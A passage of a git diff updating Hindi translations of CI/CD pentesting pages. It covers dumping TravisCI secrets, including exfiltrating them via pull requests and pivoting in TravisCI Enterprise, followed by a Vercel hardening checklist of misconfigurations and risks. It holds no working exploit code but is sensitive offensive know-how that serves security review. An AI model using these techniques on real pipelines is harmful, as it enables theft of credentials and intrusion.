पक्ष से आने वाले PRs के साथ env वेरिएबल साझा करने को अक्षम करता है, लेकिन कोई इसे सक्षम कर सकता है और फिर आप रेपो में PR बना सकते हैं और रहस्यों को एक्सफिल्ट्रेट कर सकते हैं: +डिफ़ॉल्ट रूप से, TravisCI थर्ड पार्टी से आने वाले PRs के साथ env वेरिएबल साझा करने को अक्षम करता है, लेकिन कोई इसे सक्षम कर सकता है और फिर आप रेपो में PR बना सकते हैं और रहस्यों को एक्सफिल्ट्रेट कर सकते हैं: ![](<../../images/image (208).png>) -### Dumping Secrets +### रहस्यों का डंपिंग -जैसा कि [**बुनियादी जानकारी**](basic-travisci-information.md) पृष्ठ में समझाया गया है, रहस्यों के 2 प्रकार होते हैं। **पर्यावरण वेरिएबल रहस्य** (जो वेब पृष्ठ में सूचीबद्ध होते हैं) और **कस्टम एन्क्रिप्टेड रहस्य**, जो `.travis.yml` फ़ाइल के अंदर base64 के रूप में संग्रहीत होते हैं (ध्यान दें कि दोनों एन्क्रिप्टेड के रूप में संग्रहीत होने पर अंतिम मशीनों में env वेरिएबल के रूप में समाप्त होंगे)। +जैसा कि [**बुनियादी जानकारी**](basic-travisci-information.md) पृष्ठ में बताया गया है, रहस्यों के 2 प्रकार होते हैं। **पर्यावरण वेरिएबल रहस्य** (जो वेब पृष्ठ में सूचीबद्ध हैं) और **कस्टम एन्क्रिप्टेड रहस्य**, जो `.travis.yml` फ़ाइल के अंदर base64 के रूप में संग्रहीत होते हैं (ध्यान दें कि दोनों एन्क्रिप्टेड के रूप में संग्रहीत होने पर अंतिम मशीनों में env वेरिएबल के रूप में समाप्त होंगे)। -- **पर्यावरण वेरिएबल** के रूप में कॉन्फ़िगर किए गए **रहस्यों की गणना करने के लिए**, **प्रोजेक्ट** की **सेटिंग्स** पर जाएं और सूची की जांच करें। हालाँकि, ध्यान दें कि यहाँ सेट किए गए सभी प्रोजेक्ट env वेरिएबल निर्माण को ट्रिगर करते समय दिखाई देंगे। +- **पर्यावरण वेरिएबल** के रूप में कॉन्फ़िगर किए गए **रहस्यों की गणना** करने के लिए **प्रोजेक्ट** की **सेटिंग्स** पर जाएं और सूची की जांच करें। हालाँकि, ध्यान दें कि यहाँ सेट किए गए सभी प्रोजेक्ट env वेरिएबल निर्माण को ट्रिगर करते समय दिखाई देंगे। - **कस्टम एन्क्रिप्टेड रहस्यों** की गणना करने के लिए, सबसे अच्छा आप कर सकते हैं वह है **`.travis.yml` फ़ाइल की जांच करना**। -- **एन्क्रिप्टेड फ़ाइलों** की गणना करने के लिए, आप रेपो में **`.enc` फ़ाइलों** के लिए देख सकते हैं, कॉन्फ़िग फ़ाइल में `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` जैसी पंक्तियों के लिए, या **पर्यावरण वेरिएबल** में **एन्क्रिप्टेड iv और कुंजी** के लिए: +- **एन्क्रिप्टेड फ़ाइलों** की गणना करने के लिए, आप रेपो में **`.enc` फ़ाइलों** के लिए देख सकते हैं, कॉन्फ़िगरेशन फ़ाइल में `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` जैसी पंक्तियों के लिए, या **पर्यावरण वेरिएबल** में **एन्क्रिप्टेड iv और कुंजी** के लिए जैसे: ![](<../../images/image (81).png>) ### TODO: -- Windows/Mac/Linux पर चलने वाले रिवर्स शेल के साथ उदाहरण निर्माण -- लॉग में बेस64 एन्कोडेड env लीक करने वाले उदाहरण निर्माण +- Windows/Mac/Linux पर रिवर्स शेल चलाने के साथ उदाहरण निर्माण +- लॉग में बेस64 एन्कोडेड env लीक करने के साथ उदाहरण निर्माण -### TravisCI Enterprise +### TravisCI एंटरप्राइज -यदि एक हमलावर एक ऐसे वातावरण में समाप्त होता है जो **TravisCI enterprise** का उपयोग करता है (इस बारे में अधिक जानकारी [**बुनियादी जानकारी**](basic-travisci-information.md#travisci-enterprise) में है), तो वह **वर्कर में निर्माण को ट्रिगर करने में सक्षम होगा।** इसका मतलब है कि एक हमलावर उस सर्वर पर पार्श्व रूप से स्थानांतरित करने में सक्षम होगा जिससे वह: +यदि एक हमलावर एक ऐसे वातावरण में समाप्त होता है जो **TravisCI एंटरप्राइज** का उपयोग करता है (इस बारे में अधिक जानकारी [**बुनियादी जानकारी**](basic-travisci-information.md#travisci-enterprise) में है), तो वह **वर्कर में निर्माण को ट्रिगर करने में सक्षम होगा।** इसका मतलब है कि एक हमलावर उस सर्वर पर पार्श्व रूप से स्थानांतरित करने में सक्षम होगा जिससे वह: -- मेज़बान से भाग सकता है? +- मेज़बान पर भाग सकता है? - कुबेरनेट्स से समझौता कर सकता है? - उसी नेटवर्क में चल रही अन्य मशीनों से समझौता कर सकता है? - नए क्लाउड क्रेडेंशियल्स से समझौता कर सकता है? -## References +## संदर्भ - [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/) - [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security) diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md index fbd9cfd37..66d392995 100644 --- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md +++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md @@ -4,13 +4,13 @@ ## Access -TravisCI सीधे विभिन्न git प्लेटफार्मों जैसे Github, Bitbucket, Assembla, और Gitlab के साथ एकीकृत होता है। यह उपयोगकर्ता से पूछेगा कि वह TravisCI को उन रिपोजिटरीज़ तक पहुँचने की अनुमति दे जो वह TravisCI के साथ एकीकृत करना चाहता है। +TravisCI सीधे विभिन्न git प्लेटफार्मों जैसे Github, Bitbucket, Assembla, और Gitlab के साथ एकीकृत होता है। यह उपयोगकर्ता से TravisCI को उन रिपोजिटरीज़ तक पहुँचने की अनुमति देने के लिए कहेगा जिन्हें वह TravisCI के साथ एकीकृत करना चाहता है। उदाहरण के लिए, Github में यह निम्नलिखित अनुमतियों के लिए पूछेगा: -- `user:email` (केवल पढ़ने के लिए) -- `read:org` (केवल पढ़ने के लिए) -- `repo`: सार्वजनिक और निजी रिपोजिटरीज़ और संगठनों के लिए कोड, कमिट स्थिति, सहयोगियों, और तैनाती की स्थिति तक पढ़ने और लिखने की अनुमति देता है। +- `user:email` (पढ़ने के लिए केवल) +- `read:org` (पढ़ने के लिए केवल) +- `repo`: सार्वजनिक और निजी रिपोजिटरीज़ और संगठनों के लिए कोड, कमिट स्थिति, सहयोगियों, और तैनाती की स्थिति तक पढ़ने और लिखने की पहुँच प्रदान करता है। ## Encrypted Secrets @@ -20,7 +20,7 @@ TravisCI में, अन्य CI प्लेटफार्मों की ![](<../../images/image (203).png>) -यह संभव है कि **उन शाखाओं को इंगित करें जिन पर रहस्य उपलब्ध होंगे** (डिफ़ॉल्ट रूप से सभी) और यह भी कि क्या TravisCI **इसके मान को छिपाना चाहिए** यदि यह **लॉग में दिखाई देता है** (डिफ़ॉल्ट रूप से यह करेगा)। +यह संभव है कि **उन शाखाओं को इंगित करें जिनमें रहस्य उपलब्ध होंगे** (डिफ़ॉल्ट रूप से सभी) और यह भी कि क्या TravisCI **इसके मान को छिपाना चाहिए** यदि यह **लॉग में दिखाई देता है** (डिफ़ॉल्ट रूप से यह करेगा)। ### Custom Encrypted Secrets @@ -31,11 +31,11 @@ TravisCI में, अन्य CI प्लेटफार्मों की travis pubkey -r / travis pubkey -r carlospolop/t-ci-test ``` -फिर, आप इस सेटअप का उपयोग करके **गुप्त जानकारी को एन्क्रिप्ट कर सकते हैं और उन्हें अपने `.travis.yaml` में जोड़ सकते हैं**। गुप्त जानकारी **बिल्ड चलने पर डिक्रिप्ट की जाएगी** और **पर्यावरण चर** में उपलब्ध होगी। +फिर, आप इस सेटअप का उपयोग करके **गुप्त को एन्क्रिप्ट कर सकते हैं और उन्हें अपने `.travis.yaml` में जोड़ सकते हैं**। गुप्त को **बिल्ड चलने पर डिक्रिप्ट किया जाएगा** और **पर्यावरण चर** में उपलब्ध होगा। ![](<../../images/image (139).png>) -ध्यान दें कि इस तरीके से एन्क्रिप्ट की गई गुप्त जानकारी सेटिंग्स के पर्यावरण चर में सूचीबद्ध नहीं होगी। +ध्यान दें कि इस तरीके से एन्क्रिप्ट किए गए गुप्त सेटिंग्स के पर्यावरण चर में सूचीबद्ध नहीं होंगे। ### कस्टम एन्क्रिप्टेड फ़ाइलें @@ -57,24 +57,24 @@ Make sure to add super_secret.txt.enc to the git repository. Make sure not to add super_secret.txt to the git repository. Commit all changes to your .travis.yml. ``` -Note that when encrypting a file 2 Env Variables will be configured inside the repo such as: +ध्यान दें कि जब एक फ़ाइल को एन्क्रिप्ट किया जाता है, तो 2 Env Variables को रिपॉजिटरी के अंदर कॉन्फ़िगर किया जाएगा जैसे: ![](<../../images/image (170).png>) ## TravisCI Enterprise -Travis CI Enterprise एक **on-prem संस्करण है Travis CI का**, जिसे आप **अपने बुनियादी ढांचे में तैनात कर सकते हैं**। इसे Travis CI के 'सर्वर' संस्करण के रूप में सोचें। Travis CI का उपयोग करने से आपको एक आसान-से-उपयोग करने योग्य निरंतर एकीकरण/निरंतर तैनाती (CI/CD) प्रणाली सक्षम करने की अनुमति मिलती है, जिसे आप अपनी आवश्यकताओं के अनुसार कॉन्फ़िगर और सुरक्षित कर सकते हैं। +Travis CI Enterprise एक **on-prem संस्करण है Travis CI का**, जिसे आप **अपने बुनियादी ढांचे में तैनात कर सकते हैं**। इसे Travis CI के 'सर्वर' संस्करण के रूप में सोचें। Travis CI का उपयोग करने से आपको एक आसान-से-उपयोग करने योग्य Continuous Integration/Continuous Deployment (CI/CD) प्रणाली को एक वातावरण में सक्षम करने की अनुमति मिलती है, जिसे आप अपनी इच्छानुसार कॉन्फ़िगर और सुरक्षित कर सकते हैं। **Travis CI Enterprise दो प्रमुख भागों में बाँटा गया है:** -1. TCI **सेवाएँ** (या TCI कोर सेवाएँ), जो संस्करण नियंत्रण प्रणालियों के साथ एकीकरण, निर्माणों को अधिकृत करने, निर्माण कार्यों को अनुसूचित करने आदि के लिए जिम्मेदार हैं। +1. TCI **सेवाएँ** (या TCI कोर सेवाएँ), जो संस्करण नियंत्रण प्रणालियों के साथ एकीकरण, निर्माणों को अधिकृत करना, निर्माण कार्यों को शेड्यूल करना आदि के लिए जिम्मेदार हैं। 2. TCI **कार्यकर्ता** और निर्माण वातावरण छवियाँ (जिन्हें OS छवियाँ भी कहा जाता है)। **TCI कोर सेवाओं के लिए निम्नलिखित की आवश्यकता होती है:** 1. एक **PostgreSQL11** (या बाद का) डेटाबेस। -2. एक बुनियादी ढांचा जिसमें Kubernetes क्लस्टर तैनात किया जा सके; इसे एक सर्वर क्लस्टर में या यदि आवश्यक हो तो एकल मशीन में तैनात किया जा सकता है। -3. आपकी सेटअप के आधार पर, आप कुछ घटकों को स्वयं तैनात और कॉन्फ़िगर करना चाह सकते हैं, जैसे कि RabbitMQ - अधिक विवरण के लिए [Travis CI Enterprise सेटअप करना](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) देखें। +2. एक बुनियादी ढांचा जिसमें एक Kubernetes क्लस्टर तैनात किया जा सके; इसे एक सर्वर क्लस्टर में या यदि आवश्यक हो तो एकल मशीन में तैनात किया जा सकता है। +3. आपकी सेटअप के आधार पर, आप कुछ घटकों को अपने आप तैनात और कॉन्फ़िगर करना चाह सकते हैं, जैसे कि RabbitMQ - अधिक विवरण के लिए [Travis CI Enterprise सेटअप करना](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) देखें। **TCI कार्यकर्ता के लिए निम्नलिखित की आवश्यकता होती है:** diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md index 25ee635c9..9688f0409 100644 --- a/src/pentesting-ci-cd/vercel-security.md +++ b/src/pentesting-ci-cd/vercel-security.md @@ -6,28 +6,28 @@ Vercel में एक **Team** वह पूरी **environment** है जो एक ग्राहक से संबंधित है और एक **project** एक **application** है। -**Vercel** की हार्डनिंग समीक्षा के लिए, आपको **Viewer role permission** वाले उपयोगकर्ता के लिए पूछना होगा या कम से कम **Project viewer permission over the projects** की आवश्यकता होगी (यदि आपको केवल प्रोजेक्ट की जांच करनी है और टीम कॉन्फ़िगरेशन की नहीं)। +**Vercel** की हार्डनिंग समीक्षा के लिए, आपको **Viewer role permission** वाले उपयोगकर्ता के लिए पूछना होगा या कम से कम **Project viewer permission over the projects** की आवश्यकता होगी (यदि आपको केवल परियोजनाओं की जांच करनी है और Team कॉन्फ़िगरेशन नहीं)। ## Project Settings ### General -**Purpose:** प्रोजेक्ट नाम, फ्रेमवर्क, और बिल्ड कॉन्फ़िगरेशन जैसे मौलिक प्रोजेक्ट सेटिंग्स का प्रबंधन करें। +**Purpose:** परियोजना के नाम, ढांचे और निर्माण कॉन्फ़िगरेशन जैसे मौलिक परियोजना सेटिंग्स का प्रबंधन करें। #### Security Configurations: - **Transfer** -- **Misconfiguration:** प्रोजेक्ट को दूसरे टीम में स्थानांतरित करने की अनुमति देता है -- **Risk:** एक हमलावर प्रोजेक्ट चुरा सकता है +- **Misconfiguration:** परियोजना को दूसरे टीम में स्थानांतरित करने की अनुमति देता है +- **Risk:** एक हमलावर परियोजना चुरा सकता है - **Delete Project** -- **Misconfiguration:** प्रोजेक्ट को हटाने की अनुमति देता है -- **Risk:** प्रोजेक्ट को हटाना +- **Misconfiguration:** परियोजना को हटाने की अनुमति देता है +- **Risk:** परियोजना को हटाना --- ### Domains -**Purpose:** कस्टम डोमेन, DNS सेटिंग्स, और SSL कॉन्फ़िगरेशन का प्रबंधन करें। +**Purpose:** कस्टम डोमेन, DNS सेटिंग्स और SSL कॉन्फ़िगरेशन का प्रबंधन करें। #### Security Configurations: @@ -41,47 +41,47 @@ Vercel में एक **Team** वह पूरी **environment** है ज - **Misconfiguration:** DNSSEC को सक्षम करने में विफलता या गलत DNSSEC सेटिंग्स। - **Risk:** DNS स्पूफिंग और कैश पॉइज़निंग हमलों के प्रति बढ़ी हुई संवेदनशीलता। - **Environment used per domain** -- **Misconfiguration:** प्रोडक्शन में डोमेन द्वारा उपयोग किए जाने वाले वातावरण को बदलना। -- **Risk:** संभावित रहस्यों या कार्यक्षमताओं को उजागर करना जो प्रोडक्शन में उपलब्ध नहीं होनी चाहिए। +- **Misconfiguration:** उत्पादन में डोमेन द्वारा उपयोग किए जाने वाले वातावरण को बदलना। +- **Risk:** संभावित रहस्यों या कार्यक्षमताओं को उजागर करना जो उत्पादन में उपलब्ध नहीं होनी चाहिए। --- ### Environments -**Purpose:** विशिष्ट सेटिंग्स और वेरिएबल्स के साथ विभिन्न वातावरण (Development, Preview, Production) को परिभाषित करें। +**Purpose:** विशिष्ट सेटिंग्स और वेरिएबल के साथ विभिन्न वातावरण (Development, Preview, Production) को परिभाषित करें। #### Security Configurations: - **Environment Isolation** -- **Misconfiguration:** वातावरणों के बीच वातावरण वेरिएबल साझा करना। -- **Risk:** विकास या पूर्वावलोकन वातावरण में प्रोडक्शन रहस्यों का लीक होना, जिससे जोखिम बढ़ता है। +- **Misconfiguration:** वातावरणों के बीच पर्यावरण चर साझा करना। +- **Risk:** विकास या पूर्वावलोकन वातावरण में उत्पादन रहस्यों का रिसाव, जिससे जोखिम बढ़ता है। - **Access to Sensitive Environments** -- **Misconfiguration:** प्रोडक्शन वातावरणों तक व्यापक पहुंच की अनुमति देना। -- **Risk:** लाइव एप्लिकेशन में अनधिकृत परिवर्तन या पहुंच, संभावित डाउनटाइम या डेटा उल्लंघनों की ओर ले जा सकती है। +- **Misconfiguration:** उत्पादन वातावरणों तक व्यापक पहुंच की अनुमति देना। +- **Risk:** लाइव अनुप्रयोगों में अनधिकृत परिवर्तन या पहुंच, संभावित डाउनटाइम या डेटा उल्लंघनों की ओर ले जाना। --- ### Environment Variables -**Purpose:** एप्लिकेशन द्वारा उपयोग किए जाने वाले वातावरण-विशिष्ट वेरिएबल्स और रहस्यों का प्रबंधन करें। +**Purpose:** एप्लिकेशन द्वारा उपयोग किए जाने वाले वातावरण-विशिष्ट वेरिएबल और रहस्यों का प्रबंधन करें। #### Security Configurations: - **Exposing Sensitive Variables** -- **Misconfiguration:** संवेदनशील वेरिएबल्स को `NEXT_PUBLIC_` के साथ प्रीफिक्स करना, जिससे वे क्लाइंट साइड पर उपलब्ध हो जाते हैं। -- **Risk:** API कुंजी, डेटाबेस क्रेडेंशियल्स, या अन्य संवेदनशील डेटा का सार्वजनिक रूप से उजागर होना, जिससे डेटा उल्लंघन हो सकता है। +- **Misconfiguration:** संवेदनशील वेरिएबल को `NEXT_PUBLIC_` के साथ पूर्ववर्ती करना, जिससे उन्हें क्लाइंट साइड पर पहुंच योग्य बनाना। +- **Risk:** API कुंजी, डेटाबेस क्रेडेंशियल, या अन्य संवेदनशील डेटा का सार्वजनिक रूप से उजागर होना, जिससे डेटा उल्लंघन हो सकता है। - **Sensitive disabled** - **Misconfiguration:** यदि अक्षम (डिफ़ॉल्ट) है तो उत्पन्न रहस्यों के मानों को पढ़ना संभव है। - **Risk:** संवेदनशील जानकारी के अनधिकृत पहुंच या आकस्मिक उजागर होने की संभावना बढ़ जाती है। - **Shared Environment Variables** -- **Misconfiguration:** ये टीम स्तर पर सेट किए गए वातावरण वेरिएबल्स हैं और इनमें संवेदनशील जानकारी भी हो सकती है। +- **Misconfiguration:** ये टीम स्तर पर सेट किए गए पर्यावरण चर हैं और इनमें संवेदनशील जानकारी भी हो सकती है। - **Risk:** संवेदनशील जानकारी के अनधिकृत पहुंच या आकस्मिक उजागर होने की संभावना बढ़ जाती है। --- ### Git -**Purpose:** Git रिपॉजिटरी इंटीग्रेशन, शाखा सुरक्षा, और डिप्लॉयमेंट ट्रिगर्स को कॉन्फ़िगर करें। +**Purpose:** Git रिपॉजिटरी इंटीग्रेशन, शाखा सुरक्षा, और तैनाती ट्रिगर्स को कॉन्फ़िगर करें। #### Security Configurations: @@ -93,42 +93,42 @@ Vercel में एक **Team** वह पूरी **environment** है ज ### Integrations -**Purpose:** तीसरे पक्ष की सेवाओं और उपकरणों को जोड़ें ताकि प्रोजेक्ट कार्यक्षमताओं को बढ़ाया जा सके। +**Purpose:** परियोजना कार्यक्षमताओं को बढ़ाने के लिए तृतीय-पक्ष सेवाओं और उपकरणों को कनेक्ट करें। #### Security Configurations: - **Insecure Third-Party Integrations** -- **Misconfiguration:** अविश्वसनीय या असुरक्षित तीसरे पक्ष की सेवाओं के साथ एकीकृत करना। -- **Risk:** कमजोरियों, डेटा लीक, या समझौता किए गए इंटीग्रेशनों के माध्यम से बैकडोर का परिचय। +- **Misconfiguration:** अविश्वसनीय या असुरक्षित तृतीय-पक्ष सेवाओं के साथ एकीकृत करना। +- **Risk:** कमजोरियों, डेटा लीक, या समझौता किए गए एकीकरणों के माध्यम से बैकडोर का परिचय। - **Over-Permissioned Integrations** - **Misconfiguration:** एकीकृत सेवाओं को अत्यधिक अनुमतियाँ देना। -- **Risk:** प्रोजेक्ट संसाधनों तक अनधिकृत पहुंच, डेटा हेरफेर, या सेवा व्यवधान। +- **Risk:** परियोजना संसाधनों तक अनधिकृत पहुंच, डेटा हेरफेर, या सेवा व्यवधान। - **Lack of Integration Monitoring** -- **Misconfiguration:** तीसरे पक्ष की इंटीग्रेशनों की निगरानी और ऑडिट करने में विफलता। -- **Risk:** समझौता किए गए इंटीग्रेशनों का विलंबित पता लगाना, सुरक्षा उल्लंघनों के संभावित प्रभाव को बढ़ाना। +- **Misconfiguration:** तृतीय-पक्ष एकीकरणों की निगरानी और ऑडिट करने में विफलता। +- **Risk:** समझौता किए गए एकीकरणों का विलंबित पता लगाना, सुरक्षा उल्लंघनों के प्रभाव को बढ़ाना। --- ### Deployment Protection -**Purpose:** विभिन्न सुरक्षा तंत्रों के माध्यम से डिप्लॉयमेंट को सुरक्षित करें, यह नियंत्रित करें कि कौन आपके वातावरणों तक पहुंच सकता है और डिप्लॉय कर सकता है। +**Purpose:** विभिन्न सुरक्षा तंत्रों के माध्यम से तैनातियों को सुरक्षित करें, यह नियंत्रित करें कि कौन आपके वातावरणों तक पहुंच सकता है और तैनात कर सकता है। #### Security Configurations: **Vercel Authentication** - **Misconfiguration:** प्रमाणीकरण को अक्षम करना या टीम के सदस्यों की जांच को लागू नहीं करना। -- **Risk:** अनधिकृत उपयोगकर्ता डिप्लॉयमेंट्स तक पहुंच सकते हैं, जिससे डेटा उल्लंघन या एप्लिकेशन का दुरुपयोग हो सकता है। +- **Risk:** अनधिकृत उपयोगकर्ता तैनातियों तक पहुंच सकते हैं, जिससे डेटा उल्लंघन या अनुप्रयोग का दुरुपयोग हो सकता है। **Protection Bypass for Automation** - **Misconfiguration:** बायपास रहस्य को सार्वजनिक रूप से उजागर करना या कमजोर रहस्यों का उपयोग करना। -- **Risk:** हमलावर डिप्लॉयमेंट सुरक्षा को बायपास कर सकते हैं, सुरक्षित डिप्लॉयमेंट्स तक पहुंच और हेरफेर कर सकते हैं। +- **Risk:** हमलावर तैनाती सुरक्षा को बायपास कर सकते हैं, सुरक्षित तैनातियों तक पहुंच और हेरफेर कर सकते हैं। **Shareable Links** -- **Misconfiguration:** लिंक को मनमाने तरीके से साझा करना या पुराने लिंक को रद्द करने में विफलता। -- **Risk:** सुरक्षित डिप्लॉयमेंट्स तक अनधिकृत पहुंच, प्रमाणीकरण और IP प्रतिबंधों को बायपास करना। +- **Misconfiguration:** लिंक को मनमाने ढंग से साझा करना या पुराने लिंक को रद्द करने में विफलता। +- **Risk:** सुरक्षित तैनातियों तक अनधिकृत पहुंच, प्रमाणीकरण और IP प्रतिबंधों को बायपास करना। **OPTIONS Allowlist** @@ -138,23 +138,27 @@ Vercel में एक **Team** वह पूरी **environment** है ज **Password Protection** - **Misconfiguration:** कमजोर पासवर्ड का उपयोग करना या उन्हें असुरक्षित रूप से साझा करना। -- **Risk:** यदि पासवर्ड का अनुमान लगाया गया या लीक किया गया तो डिप्लॉयमेंट्स तक अनधिकृत पहुंच। +- **Risk:** यदि पासवर्ड का अनुमान लगाया गया या लीक हुआ तो तैनातियों तक अनधिकृत पहुंच। + +**Note:** यह **Pro** योजना पर **Advanced Deployment Protection** के हिस्से के रूप में $150/माह के लिए उपलब्ध है। **Deployment Protection Exceptions** - **Misconfiguration:** उत्पादन या संवेदनशील डोमेन को अपवाद सूची में अनजाने में जोड़ना। -- **Risk:** महत्वपूर्ण डिप्लॉयमेंट्स को सार्वजनिक रूप से उजागर करना, जिससे डेटा लीक या अनधिकृत पहुंच हो सकती है। +- **Risk:** महत्वपूर्ण तैनातियों को सार्वजनिक रूप से उजागर करना, जिससे डेटा लीक या अनधिकृत पहुंच हो सकती है। +- **Note:** यह **Pro** योजना पर **Advanced Deployment Protection** के हिस्से के रूप में $150/माह के लिए उपलब्ध है। **Trusted IPs** - **Misconfiguration:** IP पते या CIDR रेंज को गलत तरीके से निर्दिष्ट करना। - **Risk:** वैध उपयोगकर्ताओं को अवरुद्ध करना या अनधिकृत IPs को पहुंच प्राप्त करना। +- **Note:** यह **Enterprise** योजना पर उपलब्ध है। --- ### Functions -**Purpose:** सर्वरलेस फ़ंक्शंस को कॉन्फ़िगर करें, जिसमें रनटाइम सेटिंग्स, मेमोरी आवंटन, और सुरक्षा नीतियाँ शामिल हैं। +**Purpose:** सर्वर रहित कार्यों को कॉन्फ़िगर करें, जिसमें रनटाइम सेटिंग्स, मेमोरी आवंटन, और सुरक्षा नीतियाँ शामिल हैं। #### Security Configurations: @@ -164,13 +168,13 @@ Vercel में एक **Team** वह पूरी **environment** है ज ### Data Cache -**Purpose:** प्रदर्शन को अनुकूलित करने और डेटा संग्रहण को नियंत्रित करने के लिए कैशिंग रणनीतियों और सेटिंग्स का प्रबंधन करें। +**Purpose:** प्रदर्शन को अनुकूलित करने और डेटा भंडारण को नियंत्रित करने के लिए कैशिंग रणनीतियों और सेटिंग्स का प्रबंधन करें। #### Security Configurations: - **Purge Cache** - **Misconfiguration:** यह सभी कैश को हटाने की अनुमति देता है। -- **Risk:** अनधिकृत उपयोगकर्ता कैश को हटाने के कारण संभावित DoS। +- **Risk:** अनधिकृत उपयोगकर्ता कैश को हटा सकते हैं जिससे संभावित DoS हो सकता है। --- @@ -181,7 +185,7 @@ Vercel में एक **Team** वह पूरी **environment** है ज #### Security Configurations: - **Disable Cron Job** -- **Misconfiguration:** यह कोड के अंदर घोषित क्रोन नौकरियों को अक्षम करने की अनुमति देता है। +- **Misconfiguration:** यह कोड के अंदर घोषित क्रोन नौकरियों को अक्षम करने की अनुमति देता है - **Risk:** सेवा में संभावित विघटन (इस पर निर्भर करता है कि क्रोन नौकरियों का क्या मतलब था) --- @@ -192,13 +196,13 @@ Vercel में एक **Team** वह पूरी **environment** है ज #### Security Configurations: -- Nothing (managed from teams settings) +- कुछ नहीं (टीम सेटिंग्स से प्रबंधित) --- ### Security -**Purpose:** प्रोजेक्ट एक्सेस, स्रोत सुरक्षा, और अधिक को प्रभावित करने वाली विभिन्न सुरक्षा-संबंधित सेटिंग्स के लिए केंद्रीय हब। +**Purpose:** परियोजना पहुंच, स्रोत सुरक्षा, और अधिक को प्रभावित करने वाली विभिन्न सुरक्षा-संबंधित सेटिंग्स के लिए केंद्रीय हब। #### Security Configurations: @@ -210,7 +214,7 @@ Vercel में एक **Team** वह पूरी **environment** है ज **Git Fork Protection** - **Misconfiguration:** उचित समीक्षाओं के बिना अनधिकृत पुल अनुरोधों की अनुमति देना। -- **Risk:** दुर्भावनापूर्ण कोड को कोडबेस में विलय किया जा सकता है, जिससे कमजोरियाँ या बैकडोर का परिचय होता है। +- **Risk:** दुर्भावनापूर्ण कोड को कोडबेस में मर्ज किया जा सकता है, जिससे कमजोरियाँ या बैकडोर का परिचय होता है। **Secure Backend Access with OIDC Federation** @@ -219,25 +223,25 @@ Vercel में एक **Team** वह पूरी **environment** है ज **Deployment Retention Policy** -- **Misconfiguration:** बहुत छोटे (डिप्लॉयमेंट इतिहास खोना) या बहुत लंबे (अनावश्यक डेटा रखरखाव) रखरखाव अवधि सेट करना। -- **Risk:** जब आवश्यकता हो तो रोलबैक करने में असमर्थता या पुराने डिप्लॉयमेंट से डेटा के उजागर होने का बढ़ा हुआ जोखिम। +- **Misconfiguration:** बहुत छोटे (तैनाती इतिहास खोना) या बहुत लंबे (अनावश्यक डेटा रखरखाव) रखरखाव अवधि सेट करना। +- **Risk:** आवश्यकता पड़ने पर रोलबैक करने में असमर्थता या पुराने तैनातियों से डेटा उजागर होने का बढ़ा हुआ जोखिम। **Recently Deleted Deployments** -- **Misconfiguration:** हटाए गए डिप्लॉयमेंट की निगरानी नहीं करना या स्वचालित हटाने पर पूरी तरह से निर्भर रहना। -- **Risk:** महत्वपूर्ण डिप्लॉयमेंट इतिहास का नुकसान, ऑडिट और रोलबैक में बाधा। +- **Misconfiguration:** हटाई गई तैनातियों की निगरानी नहीं करना या स्वचालित हटाने पर पूरी तरह से निर्भर रहना। +- **Risk:** महत्वपूर्ण तैनाती इतिहास का नुकसान, ऑडिट और रोलबैक में बाधा। --- ### Advanced -**Purpose:** कॉन्फ़िगरेशन को ठीक करने और सुरक्षा बढ़ाने के लिए अतिरिक्त प्रोजेक्ट सेटिंग्स तक पहुंच। +**Purpose:** कॉन्फ़िगरेशन को ठीक करने और सुरक्षा बढ़ाने के लिए अतिरिक्त परियोजना सेटिंग्स तक पहुंच। #### Security Configurations: **Directory Listing** -- **Misconfiguration:** डायरेक्टरी लिस्टिंग सक्षम करना उपयोगकर्ताओं को बिना इंडेक्स फ़ाइल के डायरेक्टरी सामग्री देखने की अनुमति देता है। +- **Misconfiguration:** निर्देशिका सूचीकरण सक्षम करना उपयोगकर्ताओं को बिना इंडेक्स फ़ाइल के निर्देशिका सामग्री देखने की अनुमति देता है। - **Risk:** संवेदनशील फ़ाइलों, एप्लिकेशन संरचना, और हमलों के लिए संभावित प्रवेश बिंदुओं का उजागर होना। --- @@ -256,7 +260,7 @@ Vercel में एक **Team** वह पूरी **environment** है ज ### Custom Rules & IP Blocking - **Misconfiguration:** ट्रैफ़िक को अनब्लॉक/ब्लॉक करने की अनुमति देता है -- **Risk:** संभावित DoS जो दुर्भावनापूर्ण ट्रैफ़िक की अनुमति देता है या बेनिग्न ट्रैफ़िक को ब्लॉक करता है +- **Risk:** दुर्भावनापूर्ण ट्रैफ़िक की अनुमति देने या बेनिग्न ट्रैफ़िक को अवरुद्ध करने की संभावित DoS --- @@ -270,7 +274,7 @@ Vercel में एक **Team** वह पूरी **environment** है ज ### Skew Protection - **Misconfiguration:** यह सुरक्षा सुनिश्चित करता है कि क्लाइंट और सर्वर एप्लिकेशन हमेशा एक ही संस्करण का उपयोग कर रहे हैं ताकि कोई असंगति न हो जहाँ क्लाइंट सर्वर से अलग संस्करण का उपयोग करता है और इसलिए वे एक-दूसरे को समझ नहीं पाते। -- **Risk:** इसे अक्षम करना (यदि सक्षम है) भविष्य में नए डिप्लॉयमेंट में DoS समस्याएँ पैदा कर सकता है +- **Risk:** इसे अक्षम करना (यदि सक्षम है) भविष्य में नई तैनातियों में DoS समस्याएँ पैदा कर सकता है --- @@ -281,11 +285,11 @@ Vercel में एक **Team** वह पूरी **environment** है ज #### Security Configurations: - **Transfer** -- **Misconfiguration:** सभी प्रोजेक्ट्स को दूसरे टीम में स्थानांतरित करने की अनुमति देता है -- **Risk:** एक हमलावर प्रोजेक्ट्स चुरा सकता है +- **Misconfiguration:** सभी परियोजनाओं को दूसरे टीम में स्थानांतरित करने की अनुमति देता है +- **Risk:** 